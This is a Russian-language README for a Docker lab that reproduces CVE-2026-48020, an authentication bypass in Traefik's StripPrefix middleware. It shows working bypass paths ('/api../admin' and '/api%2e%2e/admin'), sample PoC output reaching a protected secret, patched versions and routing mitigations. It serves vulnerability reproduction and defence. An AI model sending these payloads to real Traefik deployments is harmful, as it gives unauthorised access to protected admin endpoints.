
# Лаборатория Proof-of-Concept для CVE-2026-48020 Лаборатория Proof-of-Concept для CVE-2026-48020, демонстрирующая критический обход аутентификации в middleware StripPrefix от Traefik через нормализацию пути. Включает среду воспроизведения на базе Docker и скрипты проверки.
Автономная proof-of-concept для CVE-2026-48020 — обхода аутентификации/авторизации на уровне маршрутов в middleware StripPrefix от Traefik, вызванного нормализацией пути, выполняемой после принятия решений о маршрутизации.
Запрос вида GET /api../admin на этапе маршрутизации проходит через публичный роутер PathPrefix(\/api`)(поэтому middlewarebasicAuthзащищённого роутера никогда не подключается), но после того, какStripPrefixудаляет/api, а Go req.URL.JoinPath()нормализует остаток/../admin/admin` — путь, который должен был быть защищён.
, бэкенд получает | CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Затронуто | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Исправлено в | v2.11.48, v3.6.19, v3.7.3 |
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
| Файл | Назначение |
|---|---|
docker-compose.yml | Поднимает уязвимый Traefik (v3.7.1) + Python-бэкенд |
dynamic.yml | Динамическая конфигурация Traefik: публичный /api strip-маршрут и защищённые /admin, /internal маршруты за basicAuth |
backend.py | Миниатюрный бэкенд, возвращающий секрет для защищённых путей |
poc.py | Отправляет bypass-пейлоады и сообщает, какие пути были достигнуты |
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)Bypass-пейлоады вместо 200 возвращают 404. Патч (Traefik PR
#13215) отклоняет любой
запрос, путь которого изменяется после нормализации StripPrefix/StripPrefixRegex,
поэтому переписывание /../admin обнаруживается и отклоняется.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
Предотвратите сопоставление публичного маршрута с формой обхода пути:
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Сообщено мейнтейнерам Traefik участником WonYun / kyun0 (GitHub: H4ck2); исправлено в GHSA-xf64-8mw2-4gr2. Данная PoC-лаборатория — независимое воспроизведение, созданное для сопутствующей статьи: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.